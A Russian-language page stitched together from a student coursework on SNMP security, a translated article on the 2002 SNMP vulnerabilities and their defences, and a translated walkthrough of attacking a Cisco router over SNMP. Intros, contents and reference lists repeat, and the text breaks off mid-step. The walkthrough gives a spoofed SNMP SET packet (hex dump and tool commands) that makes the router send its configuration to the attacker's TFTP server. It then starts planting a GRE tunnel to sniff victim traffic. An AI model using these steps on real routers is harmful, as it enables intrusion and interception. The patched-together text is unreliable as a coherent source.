Описание протокола SNMP (Simple Network Management Protocol). Уязвимые места в SNMP Протокол snmp методы сетевых атак и защиты

Описание работы

Особенно остро встает вопрос о надежности и максимальной эффективности функционирования вычислительных сетей. Огромные убытки от сетевых неполадок, приводящих к потере данных, резкому падению производительности, блокировке серверов и другим неприятностям, несут банки, финансовые, транспортные и телекоммуникационные компании. Следовательно, особую актуальность приобретает проблема управления сетью.
Управление сетью - это комплекс мер и мероприятий, направленный на повышение эффективности функционирования сети, обнаружение и устранение сбоев в ее работе, правильное ее развитие и модернизацию, и сокращение затрат в конечном итоге.

ВВЕДЕНИЕ……………………………………………………………………..3

1.2 Логика работы протокола SNMP……………………………………..….12

2.1 Безопасность протокола SNMP (или версии протокола SNMP)……….21
2.2 Принципы настройки протокола SNMP…………………………………23
ЗАКЛЮЧЕНИЕ…………………………………………………………….....26
СПИСОК ЛИТЕРАТУРЫ……………………..…………………………...…27

Файлы: 1 файл

Министерство образования и науки РФ

ФГБОУ ВПО «Челябинский государственный университет»

Институт информационных технологий

Кафедра информационных технологий

КУРСОВАЯ РАБОТА

Протокол SNMP. Методы сетевых атак и защиты

Выполнила студентка

Галиуллина Оксана Кунтуаровна

Факультет ИИТ, группа БИС-201

Научный руководитель:

Косенко Максим Юрьевич

Преподаватель кафедры

информационных технологий

Дата сдачи:_______________

Дата защиты:_____________

Оценка:__________________

Челябинск

ВВЕДЕНИЕ………………………………………………………… …………..3

ГЛАВА I. ОПРЕДЕЛЕНИЕ SNMP…………...………………………………5

1.1 Архитектура протокола SNMP…………………………………………….6

1.2 Логика работы протокола SNMP……………………………………..….12

ГЛАВА II. MIB……………………………………………………………….16

ГЛАВА III. БЕЗОПАСНОСТЬ И НАСТРОЙКА SNMP……………..…….21

2.1 Безопасность протокола SNMP (или версии протокола SNMP)……….21

2.2 Принципы настройки протокола SNMP…………………………………23

ЗАКЛЮЧЕНИЕ…………………………………………………… ……….....26

СПИСОК ЛИТЕРАТУРЫ……………………..………………………… ...…27

ВВЕДЕНИЕ

Деятельность современных организаций тесно связана с использованием информационных технологий, будь то компьютер на рабочем месте менеджера мелкой фирмы или корпоративная сеть крупной компании - системного интегратора. И чем больше организация и чем важнее ее функции, тем выше требования к компьютерным системам, обеспечивающим выполнение этих функций, и тем дороже цена каждого сбоя в работе. Эффективность деятельности компании становится все более и более зависимой от качества работы ее компьютерного и телекоммуникационного оборудования.

Управление сетью - это комплекс мер и мероприятий, направленный на повышение эффективности функционирования сети, обнаружение и устранение сбоев в ее работе, правильное ее развитие и модернизацию, и сокращение затрат в конечном итоге.

В настоящее время для управления сетями используются приложения, работающие на базе платформ сетевого управления, таких как системы HP OpenView фирмы Hewlett-Packard, NetView for AIX (IBM), SunNet Manager (Sun), Spectrum (Cabletron Systems), NetWare Management Systems (Novell) и другие разнообразные кросс-платформные средства управления.

В основе этих средств лежит использование протокола SNMP (Simple Network Management Protocol). Протокол SNMP предназначен для сбора и передачи служебной информации (status information) между различными компьютерами.

ГЛАВА I. ОПРЕДЕЛЕНИЕ SNMP

SNMP - это протокол из семейства TCP/IP (Протокол SNMP описан в RFC 1157). Первоначально он был разработан Сообществом Интернета (Internet community) для наблюдения и устранения неполадок в маршрутизаторах и мостах (bridges). SNMP позволяет наблюдать и передавать информацию о состоянии:

компьютеров, работающих под управлением Windows NT;
серверов LAN Manager;
маршрутизаторов и шлюзов;
мини-компьютеров или мэйнфреймов;
терминальных серверов;
концентраторов.

SNMP использует распределенную архитектуру, состоящую из систем управления (management systems) и агентов (agents). С помощью сервиса Microsoft SNMP компьютер, работающий под управлением Windows NT, может выдавать отчет о своем состоянии системе управления SNMP в сети, использующей протокол TCP/IP.

Сервис SNMP посылает информацию о состоянии одному или нескольким компьютерам по запросу или в случае, когда происходит важное событие, например компьютеру не хватает места на жестком диске.

1.1 Архитектура протокола SNMP

Сеть, использующая SNMP, для управления содержит три основных компонента:

SNMP менеджер - ПО, устанавливаемое на ПК администратора (системы мониторинга)
SNMP агент - ПО, запущенное на сетевом узле, за которым осуществляется мониторинг.
SNMP MIB - MIB это Management information base. Этот компонент системы обеспечивает структурированность данных, которыми обмениваются агенты и менеджеры. По сути - это некая база данных в виде текстовых фалов.

SNMP менеджер и SNMP агент

Для понимания назначения компонентов, можно сказать, что SNMP менеджер является прослойкой (интерфейсом) между оператором - администратором и сетевым узлом с запущенным SNMP агентом. Так же, можно сказать, что SNMP агент - это интерфейс между SNMP менеджером и железным оборудованием на сетевом узле. Если провести аналогию протокола SNMP с клиент-серверной архитектурой (например, веб-сервера) то веб-сервер работает как служба на некотором порту, а пользователь силами браузера обращается к веб-серверу как клиент. Это четко обозначенная архитектура с выраженным клиентом и сервером. В случае SNMP роли клиента и сервера несколько размыты. Например, SNMP агент является своего рода службой, работающей на устройстве (за которым производится мониторинг) и обрабатывает запросы на определенном порту udp/161, то есть фактически является сервером. А SNMP менеджер является своего рода клиентом, который обращается к серверу SNMP агенту. В SNMP существует т.н. Trap. Это запрос от агента к менеджеру. Точнее даже не запрос, а уведомление. При отправке данного уведомления, агент и менеджер "меняются ролями". То есть, менеджер в таком случае должен являться сервером, работающем на порту udp/162, а агент является клиентом. В последних версиях SNMP trap может именоваться как извещение (notification).

SNMP работает на 7 уровне модели OSI, то есть является службой прикладного уровня. Взаимодействие агента и менеджера на уровне протокола SNMP организуется посредством т.н. пакетов объектов PDU (Protocol Data Unit), которые инкапсулируются в транспортный протокол. Хотя, SNMP поддерживает различные виды транспорта, в 99% случаев используется - UDP. При этом, каждое сообщение PDU содержит определенную команду (на чтение переменной, запись значения переменной, или ответ trap агента). В целом, взаимодействие узлов по SNMP можно представить следующей последовательностью: менеджер->SNMP(PDU)-UDP-IP- Ethernet-IP-UDP-SNMP(PDU)-> агент.

При использовании шифрования в SNMP, по умолчанию используются порт для запросов\ответов udp/10161, а Trap отправляются на udp/10162.

Агенты, работающие на хостах, собирают информацию об устройствах и записывают собранные счетчики в значения переменных в базу данных MIB. Тем самым делая ее доступной для менеджеров.

Рис. 1. Схема взаимодействия SNMP-агент - SNMP-менеджер

SNMP менеджер отправляет запросы агенту на порт udp/161 (если конфигурационно в агенте не задан другой порт) с произвольного порта из эфемерного диапазона. В запросе SNMP менеджера указывается порт и адрес источника. Далее агент принимает пакет и обрабатывает (если выполняются нижеописанные условия). В процессе обработки, формируется ответ, который отправляется на порт, взятый из исходного запроса. Ответ отправляется с udp/161 порта. Можно сказать, что SNMP агент, таким образом, предоставляет доступ SNMP менеджеру к данным, хранящимся в базе MIB. При этом, в момент отправки, SNMP менеджер вставляет в PDU некий ID (RequestID), а агент в ответном PDU вставляет данный ID без изменения, для того чтобы менеджер не путал пакеты от разных агентов. SNMP агент может быть настроен на посылку Trap уведомлений, которую он выполняет с эфемерного порта на udp/162 порт SNMP менеджера.

SNMP PDU (или сообщения SNMP протокола)

Выше я упомянула о единице обмена между узлами SNMP - PDU (Protocol Data Unit), давайте разберем данное понятие. Для обмена между агентом и менеджером используется определенный набор сообщений PDU команд:

Trap - одностороннее уведомление от SNMP агента –> менеджеру о каком-либо событии.
GetReponse - ответ от агента к менеджеру, возвращающий запрошенные значения переменных.
GetRequest - запрос к агенту от менеджера, используемый для получения значения одной или нескольких переменных.
GetNextRequest - запрос к агенту от менеджера, используемый для получения следующего в иерархии значения переменной.
SetRequest - запрос к агенту на установку значения одной или нескольких переменных.
GetBulkRequest – запрос к агенту на получение массива данных (тюнингованная GetNextRequest) . (Этот PDU был введен в SNMPv2.)
InformRequest – одностороннее уведомление между менеджерами. Может использоваться, например для обмена информацией о MIB (соответствие символьных OID - цифровым). В ответ менеджер формирует аналогичный пакет в подтверждение того, что исходные данные получены. (Этот PDU был введен в SNMPv2.)

Как видно, в зависимости от версии протокола, набор команд разный (например InformRequest и GetB ulkRequestполноценно появился только во второй версии SNMP).

Структура PDU

Рассмотрение структуры PDU не обязательно, но это поможет более глубоко понять логику работы SNMP. Все PDU (кроме Trap) состоят из определенного набора полей, в которые записывается необходимая информация:

Рис. 2. Формат пяти SNMP сообщений, инкапсулированных в UDP датаграмму

Что данные поля обозначают:

Версия - содержит версию SNMP;
Пароль (community) - содержит последовательность символов, описывающую принадлежность к группе;
Тип PDU имеет цифровой идентификатор запроса (Get, GetNext, Set, Responde, Trap…);
Идентификатор запроса – это тот самый набор символов, который связывает в единое целое запрос/ответ;
Статус ошибки – это число, характеризующее характер ошибки:

Для запросов (Get, Set, GetNExt и др.) - 0
Для ответов:

0 (NoError) – Нет ошибок;
1 (TooBig) - Объект не вмещается в одно Response сообщение;
2 (NoSuchName) – не существующая переменная;
3 (BadValue) – при попытке установить значение задано недопустимое значение или совершена синтаксическая ошибка;
4 (ReadOnly) – при Set запросе была попытка изменить read-only переменную;
5 (GenErr) – другие ошибки.

Индекс ошибки – содержит некий индекс переменной, к которой относится ошибка;
Поле связанные переменные может содержать одну или более переменную (для запросов Get – это только имя переменных, для Set – имя и устанавливаемое значение, для Response – имя и запрошенное значение).

При этом, содержимое Trap PDU содержит некоторые дополнительные поля (вместо заголовка запроса):

Фирма – характеризующее производителя хоста;
Тип trap уведомления, может быть следующим:

0 (Coldstart) и 1 (Warmstart) – объект возвращен в начальное состояние (между ними имеется некая разница, но какая?..);
2 (Linkdown) – интерфейс опущен, при этом, поле переменной содержит интерфейс, о котором идет речь;
3 (Linkup) – интерфейс поднялся, при этом, поле переменной содержит интерфейс о котором идет речь;
4 (Authenticationfailure) – менеджер прислал мессадж с неверной строкой community;
5 (EGPneighborloss) – затрудняюсь что либо сказать);
6 (Entrprisespecific) – данный тип Trap сообщает о том, что в следующем поле содержится специализированный для данного вендора тип трапа.

Специализированный тип Trap;
Метка времени – содержит метку времени с момента события (непонятно, относительно чего эта метка…).

Однако недавний отчет, подготовленный координационным центром CERT Coordination Center , специализирующимся на вопросах компьютерной защиты, показал, что в реализациях SNMP есть множество недостатков, из-за которых продукты более ста производителей оказываются уязвимыми для атак. При умелом использовании этих недостатков хакер может получить несанкционированный доступ с широкими привилегиями, организовать DoS-атаку или предпринять другие вредоносные действия.

Рис. 1. Упрощенная архитектура SNMP

Основной протокол связи в SNMP - это UDP (User Datagram Protocol). Если агенты SNMP анализируют данные с порта UDP 161 при получении запросов от NMS, то NMS анализирует поток, передаваемый через порт UDP 162 для получения асинхронных сообщений. На рис. 1 показана упрощенная архитектура SNMP-управления, где динамический порт назначает операционная система. SNMP поддерживает простейшую аутентификацию с помощью имени сообщества, которое служит в качестве пароля для получения или изменения данных, существенных для задач управления.

Исследователи из финского университета Оулу разработали тесты, которые позволяют обнаружить множество уязвимых мест в реализациях SNMPv1. Тестовые пакеты, как правило, используются для анализа протокола и порождают сообщения, которые проверяют выполнение различных ограничений архитектуры.

Исследователи обнаружили следующие уязвимые места SNMP .

Обработка сообщений trap. Множество недостатков было выявлено в том, как различные станции NMS (network management station) декодируют и обрабатывают trap-сообщения.
Обработка запросов. Тестирование показало наличие некорректностей при декодировании и обработке запросов SNMP различными агентами.

Эти уязвимые места возникли из-за неудовлетворительной проверки сообщений SNMP в тот момент, когда они были получены и обрабатывались атакуемой системой. Эти дефекты могут привести к DoS-атакам, уязвимости форматной строки и переполнению буферов.

Некоторые из уязвимых мест, обнаруженные Protos, не требуют, чтобы в сообщениях SNMP присутствовало корректное имя сообщества, в силу чего использовать такие уязвимые места очень легко. Кроме того, поскольку UDP - коммуникационный протокол, не требующий установления соединения, агенты SNMP и NMS, поддерживающие trap, принимают входящие запросы и сообщения trap без каких-либо предварительных настроек сеанса. Большинство продуктов, ориентированных на SNMP, выпускаются со строками сообщества по умолчанию public («общедоступный») для доступа только на чтение и private («частный») для доступа с правами чтения и записи. Строка имени сообщества интегрирована в сообщение SNMP и передается по сети в виде обычного текста. Даже если эта строка указана корректно, она уязвима для перехвата пакетов.

Для блокирования атак, использующих эти дефекты защиты, контроля сетевого доступа также недостаточно, поскольку адреса отправителей UDP легко сфальсифицировать spoofing. Хакер может послать пакеты, указав фальшивый адрес отправителя, и вывести из строя устройство-получатель. Более того, некоторые реализации SNMP по умолчанию разрешают пересылать пакеты SNMP широковещательно. Хакеры могут легко распространить широковещательные пакеты, чтобы поразить всю сеть целиком, даже если им не известен адрес конкретного устройства и имя сообщества SNMP .

Оценка угроз

Уязвимые места могут создать условия для DoS-атаки или для прерывания обслуживания, и, в некоторых случаях, могут позволить хакеру получить доступ к устройству. Конкретные проявления меняются от продукта к продукту. Поскольку в большинстве случаев службы SNMP по умолчанию не включены, для домашних пользователей эти дефекты не представляют прямой угрозы. Однако так как SNMPv1 широко применяется в важнейших устройствах сетевой инфраструктуры, использование этих изъянов может привести к нестабильности и прерыванию работы крупномасштабной сети. В частности, если хакеры сочетают эти уязвимые места с дефектами защиты в протоколах маршрутизации Internet, таких как Border Gateway Protocol, проникновение на один магистральный маршрутизатор может привести к нестабильности всей Сети. Если большое число сетевых устройств имеет общий дефект, связанный с переполнением буфера в SNMP, то хакеры могут написать червя наподобие Code Red, который будет использовать этот изъян, что может привести к еще одной волне появления червей.

Решения

Пользуясь данными бюллетеня CERT, перечислим некоторые общие решения, способные защитить сеть .

Сканеры SNMPv1. Некоторые организации выпустили инструментальные средства, которые сканируют сеть в поисках устройств, на которых работает протокол SNMP. SNMPing, разработанный в SANS, представляет собой инструментарий на базе Windows, который ищет демонов SNMP на порту 161 или на другом порту. SNScan, аналогичная утилита, разработанная в Foundstone, быстро и точно выявляет в сети устройства, ориентированные на SNMP.

Заплатки. Обнаружив в сети устройства, ориентированные на SNMP, целесообразно связаться с производителями этих устройств, чтобы выяснить, разработали ли они необходимые заплатки.

Отключение службы SNMP. Если для вашей сети служба SNMP не нужна, в CERT рекомендуют отключить или удалить эту службу. Однако тестирование OUSPG показало, что некоторые из потенциально уязвимых продуктов оказались восприимчивы к DoS-атакам или другим нарушающим стабильность работы сети действиям даже при отключенном SNMP.

Фильтрация на входе. Межсетевые экраны и маршрутизаторы можно настроить таким образом, чтобы они выполняли входную фильтрацию портов UDP 161 и 162, что может предотвратить инициируемые из внешней сети атаки на уязвимые устройства в локальной сети. Другие порты, поддерживающие службы, связанные с SNMP, в том числе порты TCP и UDP 161, 162, 199, 391, 750 и 1993, также могут потребовать входной фильтрации.

Выходная фильтрация. Устройства, которые предоставляют общедоступные службы, в обычной ситуации не инициируют исходящий трафик в Internet. Чтобы управлять трафиком, исходящим из сети, реализуйте выходную фильтрацию. Фильтрация исходящего трафика на портах UDP 161 и 162 на границе сети может предотвратить использование вашей системы в качестве плацдарма для атаки.

Изменение строк сообщества по умолчанию. Как уже отмечалось, большинство продуктов, ориентированных на SNMP, имеют по умолчанию строки сообщества public для доступа только на чтение и private для доступа с правом на чтение и запись. Необходимо изменить эти задаваемые по умолчанию значения строк сообществ. Новое имя сообщества, однако по-прежнему будет уязвимо для перехвата пакетов.

Обновление сигнатур. Еще одним решением может стать поддержка в актуальном состоянии сигнатур IDS. Сигнатуры, которые напрямую касаются дефектов, обнаруженных в рамках проекта Protos, теперь можно получить у многих производителей систем обнаружения вторжений. Например, Snort, сообщество разработчиков свободно распространяемых решений для обнаружения вторжений в сеть, разработало набор правил, ориентированных на обработку искаженных пакетов и созданных с помощью пакета Protos. Компания Cisco Systems обновила сигнатуру для своей системы Secure Intrusion Detection System, которую можно получить анонимно. Internet Security Systems выпустила общую сигнатуру для своих продуктов RealSecure и BlackICE.

Простота популярного протокола SNMP имеет своим следствием повышенную уязвимость. Поскольку SNMP применяется очень широко, эксплуатация сетей с уязвимыми продуктами может привести к гибельным последствиям. Сотрудники CERT, исследователи и производители предлагают ряд решений, позволяющих минимизировать потенциальные атаки, использующие эти уязвимые места.

Джуофей Джианг ([email protected]) - ведущий инженер-исследователь Института исследований в области технологий безопасности колледжа в Дартмуте. К области его научных интересов относятся компьютерные сети и безопасность, распределенные информационные системы, мобильные агенты и машинное обучение.

Литература

"CERT Advisory CA-2002-03: Multiple Vulnerabilities in Many Implementations of the Simple Network Management Protocol (SNMP)", 12 Feb. 2002, (current 11 2002 March)
"PROTOS: Security Testing of Protocol Implementations", 19 July 2001 (current 11 2002 March)
"PROTOS Test-Suite: c06-snmpv1", 12 Feb. 2002 (current 11 2002 March)
"M-042: Multiple Vulnerabilities in Multiple Implementations of SNMP", 12 Feb. 2002 (current 11 2002 March)

ЗАКЛЮЧЕНИЕ
Исследование посвящено вопросам обеспечения безопасности организации сетевого взаимодействия посредством протокола SNMP. В процессе работы были выявлены особенности названного протокола и возможные проблемы его использования. Для обоснования проблемы приведены статистические данные, подтверждающие высокую вероятность реализации сетевых атак. Кроме того, теоретическая часть содержит сведения о структуре протокола, схему запросов/откликов и этапы получения ответов на запросы.
В рамках курсовой работы проведен анализ возможных атак на протокол SNMP, среди которых можно выделить Dos-атаки, атаки типа «Переполнение буфера» и использующие уязвимости форматной строки. Конечно, потенциально возможных угроз гораздо больше, но их обзор предусматривает более глубокое и всесторонне исследов ание.
Для построения системы защиты сетевого взаимодействия абонентов сети были рассмотрены способы предотвращения атак на протокол SNMPи отмечено, что эффективным будет применение комплекса средств.
На основе анализа выявлено, что протоколSNMP достаточно уязвим и, если все-таки принято решение о его использовании, следует разработать политику безопасности и придерживаться всех ее принципов.
Таким образом, можно сделать вывод о достижении цели и решении задач, определенных во введении

ВВЕДЕНИЕ
Современное стремительное развитие информационных технологий предъявляет новые требования к хранению, обработке и распространению данных. От традиционных носителей информации и от выделенных серверов компании и частные лица постепенно переходят к дистанционным технологиям, реализованным через глобальную сеть Интернет. Сервисы в Интернет способны стать незаменимыми инструментами функционирования современной, динамично развивающейся компании, к числу которых можно отнести электронную почту; обмен файлами, голосовыми сообщениямии данных с использованием видео-приложений; разработка собственных Web-ресурсов.
По мнению многих специалистовширокое применение технологий Интернет требует построения системы эффективного управления сетевыми устройствами, одним из инструментов которой может стать протокол SNMP. Однако, организация управления и мониторинга сетевых устройств через данный протокол делает уязвимыми для атак элементы сети. Таким образом, вопросы технологии предотвращения сетевых атак в свете развития сервисов Интернет выходят на первый план и требуют всестороннего анализа. Именно поэтому тема исследования актуальна.
Вопросам построения системы защиты от атак на протокол SNMPпосвящены вопросы многих авторов, но единого мнения по поводу целесообразности использования SNMP в виду сложности обеспечения безопасности нет. Так, Фленов М. в свое книге «Linux глазами Хакера» выделил недостатки данного протокола и не рекомендует его применение. СмирноваЕ. В. В учебном пособии «Технологии коммутации и маршрутизации в локальных компьютерных сетях» излагает сведения по многоадресным схемам передачи данных и эффективному управлению сетевым оборудованием с помощью протокола SNMP, а так же отдельно выделяет вопросы безопасности его применения. Дальнейший обзор специальной литературы и Интернет источников подтвердил необходимость исследования вопросов безопасного применения протокола SNMP для принятия решения о целесообразности его использования.основой для данного решения станет анализ возможных атак и эффективности методов их предотвращения.
Цель исследования - провести всесторонний анализ возможных атак на протокол SNMP и способов противодействия.
Для достижения цели необходимо решение ряда задач:
1. Провести обзор литературы и Интернет-источников по вопросам организации безопасного сетевого взаимодействия на основе применения протокола SNMP.
2. Обосновать необходимость изучения методов атак на протокол SNMP и способов их предотвращения.
3. Выделить особенности управления на базе протокола SNMP.
4. Провести анализ техник на протокол SNMP.
5. Описать методы предотвращения атак на протокол SNMP.
Объект исследования - протокол SNMP.
Предмет исследования - методы сетевых атак на протокол SNMP и способы их предотвращения.
Методы исследования: анализ, синтез, изучение источников информации.
Курсовая работа состоит из введения, двух глав и заключения. Первая глава посвящена теоретическому обоснованию проблемы. Вторая глава содержит анализ возможных атак и способов их предотвращения

СОДЕРЖАНИЕ
ВВЕДЕНИЕ 3
1. ТЕОРЕТИЧЕСКОЕ ОБОСНОВАНИЕ ПРОБЛЕМЫ ИССЛЕДОВАНИЯ МЕТОДОВ АТАК НА ПРОТОКОЛ SNMP
1.1 НЕОБХОДИМОСТЬ ИЗУЧЕНИЯ МЕТОДОВ АТАК НА ПРОТОКОЛ SNMP 5
1.2 ПРОТОКОЛ SNMP: ОПИСАНИЕ, ПРЕДНАЗНАЧЕНИЕ 7
2. АНАЛИЗ АТАК НА ПРОТОКОЛ SNMP И СПОСОБОВ ПРОТИВОДЕЙСТВИЯ
2.1 ТЕХНИКИ АТАК НА ПРОТОКОЛ SNMP И СПОСОБЫ ИХ ПРЕДОТВРАЩЕНИЯ 11
2.2 СПОСОБЫ ПРОТИВОДЕЙСТВИЯ АТАКАМ НА ПРОТОКОЛ SNMP 15
ЗАКЛЮЧЕНИЕ 20
СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ 21

СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ
Нормативно-правовые акты
1. Федеральный закон Российской Федерации от 27 июля 2006 г. N 149-ФЗ Об информации, информационных технологиях и о защите информации
Список специализированной и научной литературы
2. Бланк-Эдельман Д. Perl для системного администрирования, М.: символ-Плюс, 2009.- 478с.
3. Бородакий В.Ю. Практика и перспективы создания защищенного информационно-вычислительного облака на основе МСС ОГВ / В.Ю. Бородакий, А.Ю. Добродеев, П.А. Нащекин // Актуальные проблемы развития технологических систем государственной охраны, специальной связи и специального информационного обеспечения: VIII Всероссийская межведомственная научная конференция: материалы и доклады (Орел, 13-14 февраля 2013 г.). - В 10 ч. Ч.4 / Под общ.ред. В.В. Мизерова. - Орел: Акаде мия ФСО России, 2013.
4. Гришина Н. В. Организация комплексной системы защиты информации. -- М.: Гелиос АРВ, 2009. -- 256 с,
5. Дуглас Р. Мауро Основы SNMP, 2-е издание/Дуглас Р. Мауро, Кевин Дж. Шмидт - М.:Символ-Плюс, 2012.-725с.
6. Кульгин М.В. Компьютерные сети. Практика построения. Для профессионалов, СПб.: Питер, 2003.-462с.
7. Мулюха В.А. Методы и средства защиты компьютерной информации. Межсетевое экранирование: Учебное пособие/ Мулюха В.А., Новопашенный А.Г., Подгурский Ю.Е.- СПб.: Издательство СПбГПУ, 2010. - 91 c.
8. Олифер В. Г.,Олифер Н. П. Компьютерные сети. Принципы, технологии, протоколы. - 4-е. - СПб: Питер, 2010. -902с.
9. Технологии коммутации и маршрутизации в локальных компьютерных сетях: учебное пособие / СмирноваЕ. В. и др.; ред. А.В. Пролетарского. - М. : Изд-во МГТУ им. Н.Э. Баумана, 2013. - 389с.
10. Фленов М. Linux глазами Хакера, СПб:BHV-Санкт-Петербург, 2005. - 544 с.
11. Хореев П.В. Методы и средства защиты информации в компьютерных системах. - М.: издательский центр "Академия", 2005. -205 с.
12. Хорошко В. А., Чекатков А. А. Методы и средства защиты информации, К.: Юниор, 2003. - 504с.
Интернет-источники
13. IDS/IPS - Системы обнаружения и предотвращения вторжений [Электронный ресурс] URL: http://netconfig.ru/server/ids-ips/.
14. Анализ Интернет-угроз в 2014 году. DDoS-атаки. Взлом веб-сайтов.[Электронный ресурс]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdf
15. Колищак А. Уязвимость форматной строки [Электронный ресурс]. URL: https://securityvulns.ru/articles/fsbug.asp
16. Первая миля, № 04, 2013 [Электронный ресурс]. URL: http://www.lastmile.su/journal/article/3823
17. Семейство стандартов SNMP [Электронный ресурс]. URL: https://ru.wikibooks.org/wiki /Семейство_стандартов_SNMP
Иностраннаялитература
18. "CERT Advisory CA-2002-03: Multiple Vulnerabilities in Many Implementations of the Simple Network Management Protocol (SNMP)", 12 Feb. 2002, (current 11 2002 March

Атака на Cisco через SNMP

Alexander Antipov

Матиай Арони и Уильям М. Идальго, перевод Владимир Куксенок

Введение

Часто системные администраторы имеют смутное представление о SNMP. Вследствие неопределенного представления о предназначении этого протокола, а соответственно и незнания потенциально возможных проблем, вопросы его безопасности часто упускаются из виду.

Вероятно, вы удивитесь, впервые увидев вывод утилиты наподобие SNMP-Enum Филиппа Уэйтенса (Filip Waeytens), запущенной на Windows 2000 Server с включенным SNMP сервисом. Собранная информация могла бы сильно озадачить системного администратора и дать представление о богатых возможностях SNMP.

Тот факт, что протокол SNMP основан на UDP, делает его еще более интересным. Являясь протоколом без установления соединения, UDP уязвим к атаке подмены IP (IP spoofing). Если в вашей организации есть маршрутизаторы Cisco, вы готовы к исследованию того, что с ними можно сделать с помощью SNMP.

Сценарий атаки

Взгляните на пример сценария атаки, показанный на Рисунке 1.

Рисунок 1. Пример сценария атаки.

Ознакомьтесь со сценарием атаки. Ниже приводится текущая конфигурация атакуемого маршрутизатора (Victim Router):

Current configuration: 1206 bytes ! version 12.3 ! hostname Victim ! enable secret 5 $1$h2iz$DHYpcqURF0APD2aDuA.YX0 ! interface Ethernet0/0 ip address dhcp ip nat outside half-duplex ! interface Ethernet0/1 ip address 192.168.1.1 255.255.255.0 ip nat inside half-duplex ! router rip network 192.168.1.0 ! ip nat inside source list 102 interface Ethernet0/0 overload no ip http server ip classless ! access-list 1 permit 192.168.1.0 0.0.0.255 access-list 102 permit ip any any ! snmp-server community public RO snmp-server community private RW 1 snmp-server enable traps tty ! line con 0 logging synchronous login line aux 0 line vty 0 4 password secret login ! ! end

Обратите внимание на правило доступа для группы RW. Это правило пытается ограничить SNMP доступ на чтение/запись, разрешив его только для пользователей из локальной сети (192.168.1.0).

Можно выделить два основных этапа атаки:

Обход правил доступа SNMP на атакуемом маршрутизаторе с целью получения доступа к конфигурационному файлу маршрутизатора.
Создание GRE туннеля между атакуемым маршрутизатором и маршрутизатором хакера для удаленного перехвата трафика атакуемой клиентской машины (Victim Client).

Теория

Как упоминалось в статье “Exploiting Cisco Routers, Part 1” , используя SNMP-команду SET, можно заставить Cisco маршрутизатор замещать/отправлять его конфигурационный файл с помощью TFTP.

Отправив SNMP запрос SET с поддельным IP адресом (из диапазона, описанного в RFC1918 - 192.168.1.0) мы должны заставить атакуемый маршрутизатор отправить нам свой конфигурационный файл. Это предполагает, что мы знаем ‘private community string’ и ACL, описанные в строке конфигурации группы RW.

Обход правил доступа SNMP

Начнем с создания поддельного SNMP запроса. Используя небольшой Perl скрипт и Ethereal, перехватим стандартный SNMP SET запрос “copy config”, который мы будем использовать в качестве базового пакета. root@whax# ./copy-router-config.pl ###################################################### # Copy Cisco Router config - Using SNMP # Hacked up by muts - [email protected] ####################################################### Usage: ./cisco-copy-config.pl Make sure a TFTP server is set up, preferably running from /tmp ! root@whax# После выполнения скрипта будет перехвачен SNMP пакет, подобный тому, что показан на Рисунке 2. Как и ожидалось, этот запрос был отклонен маршрутизатором, и конфигурационный файл не был отослан.

Рисунок 2. Перехваченный SNMP пакет.

Обратите внимание на IP адрес атакующего (80.179.76.227). Теперь, используя hex-редактор, мы изменим этот IP адрес и некоторый другие поля заголовка пакета. В шестнадцатеричной системе счисления подделанный IP адрес 192.168.1.5 выглядит как C0 A8 01 05, что и продемонстрировано на Рисунке 3.

Рисунок 3. Изменение обратного IP адреса пакета.

Затем мы отправим пакет, используя file2cable (или любой другой генератор пакетов):

Root@whax:~# file2cable -v -i eth0 -f /root/snmp-mod file2cable - by FX Thanx go to Lamont Granquist & fyodor for their hexdump() /root/snmp-mod - 238 bytes raw data 000f 347c 501f 0006 1bcc 00fa 0800 4500 ..4|P.........E. 00e0 0000 4000 4011 35bd c0a8 0105 d4c7 ....@[email protected]....... 91f2 8000 00a1 00cc 052e 3081 c102 0100 ..........0..... 0407 7072 6976 6174 65a3 81b2 0203 00d6 ..private....... 9b02 0100 0201 0030 81a4 3016 0611 2b06 .......0..0...+. 0104 0109 0960 0101 0101 0283 f1b0 7802 .....`........x. 0101 3016 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0383 f1b0 7802 0104 3016 0611 2b06 ......x...0...+. 0104 0109 0960 0101 0101 0483 f1b0 7802 .....`........x. 0101 3019 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0583 f1b0 7840 0450 b34c e330 2706 [email protected]". 112b 0601 0401 0909 6001 0101 0106 83f1 .+......`....... b078 0412 7077 6e64 2d72 6f75 7465 722e .x..pwnd-router. 636f 6e66 6967 3016 0611 2b06 0104 0109 config0...+..... 0960 0101 0101 0e83 f1b0 7802 0104 .`........x... Packet length: 238 root@whax:~# После этого наш TFTP сервер примет соединение, Ethereal-лог которого показан на Рисунке 4.

Рисунок 4. Соединение с TFTP сервером, перехваченное Ethereal.

Обратите внимание на обратный IP адрес SNMP пакета и на TFTP запрос на запись (пакеты 1 и 2). Пакет обходит правила доступа SNMP, и мы получаем конфигурационный файл атакуемого маршрутизатора по TFTP.

GRE туннель

GRE (Generic Routing Encapsulation) – протокол туннелирования, разработанный для инкапсуляции произвольных типов пакетов сетевого уровня внутри пакета сетевого уровня. Один из вариантов использования GRE – соединение сегментов IPX сети через канал связи поддерживающий только сетевой уровень модели OSI. В этом случае вам нужно будет создать GRE туннель с одного маршрутизатора на другой для передачи IPX пакетов туда и обратно через канал поддерживающий только протокол IP.

Однако мы будем использовать GRE для достижения целей, отличных от его обычного предназначения. Наш план состоит в следующем:

Создать GRE туннель от атакуемого маршрутизатора до маршрутизатора хакера.
Определить, какой трафик будет проходить через туннель.
Распаковывать GRE пакеты идущие с атакованного маршрутизатора и переправлять их на компьютер атакующего (sniffer) для анализа.

Атакуемый маршрутизатор

Нам нужно создать GRE туннель на атакуемом маршрутизаторе. Так как доступа к терминалу (консоли) у нас нет, мы можем просто отредактировать полученный файл конфигурации и затем отправить его назад на маршрутизатор, используя поддельный SNMP SET запрос. Добавим следующие строки в файл конфигурации атакуемого маршрутизатора: interface tunnel0 ip address 192.168.10.1 255.255.255.0 tunnel source Ethernet0/0 tunnel destination tunnel mode gre ip Они означают следующее:

Мы создали интерфейс tunnel0 и указали IP адрес из сети 192.168.10.x . Для обмена данными оба конца туннеля должны находиться в одной подсети.
Мы указали, что интерфейс Ethernet0/0 является началом туннеля (а иначе, откуда туннель мог бы начинаться?)
Конец туннеля это IP адрес внешнего интерфейса маршрутизатора хакера.
